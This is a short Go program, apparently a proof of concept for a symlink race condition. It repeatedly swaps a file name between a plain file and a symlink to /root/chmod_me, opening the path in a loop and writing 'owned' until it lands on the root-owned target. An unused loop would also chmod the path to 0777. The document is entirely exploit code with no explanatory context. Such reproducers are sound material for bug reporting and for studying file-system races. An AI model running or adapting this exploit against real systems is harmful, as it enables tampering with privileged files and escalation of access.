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|
package main
import (
"fmt"
"os"
"syscall"
"time"
)
const (
testFile = "symlink_race.test_file"
testFileTmp = testFile + ".tmp"
)
func renameLoop() {
// May be left behind from an earlier run
syscall.Unlink(testFileTmp)
var err error
var fd *os.File
for {
err = syscall.Symlink("/root/chmod_me", testFileTmp)
if err != nil {
fmt.Printf("Symlink() failed: %v\n", err)
continue
}
err = syscall.Rename(testFileTmp, testFile)
if err != nil {
fmt.Printf("Rename() 1 failed: %v\n", err)
continue
}
fd, err = os.Create(testFileTmp)
if err != nil {
fmt.Printf("Create() failed: %v\n", err)
continue
}
fd.Close()
err = syscall.Rename(testFileTmp, testFile)
if err != nil {
fmt.Printf("Rename() 2 failed: %v\n", err)
continue
}
fmt.Printf(".")
}
}
func chmodLoop() {
var err error
for {
err = syscall.Chmod(testFile, 0777)
if err != nil {
fmt.Printf("Chmod() failed: %v\n", err)
} else {
fmt.Printf("Chmod() ok\n")
}
time.Sleep(100 * time.Microsecond)
}
}
func openLoop() {
var err error
var f *os.File
buf := make([]byte, 100)
owned := []byte("owned")
var n int
for {
f, err = os.OpenFile(testFile, os.O_RDWR, 0777)
if err != nil {
fmt.Printf("Open() failed: %v\n", err)
continue
}
_, err = f.Write(owned)
if err != nil {
fmt.Printf("Write() failed: %v\n", err)
}
n, err = f.Read(buf)
if err != nil {
fmt.Printf("Read() failed: %v\n", err)
continue
}
if n > 0 {
fmt.Printf("Content: %q\n", string(buf[:n]))
os.Exit(1)
}
}
}
func main() {
go openLoop()
renameLoop()
}
|
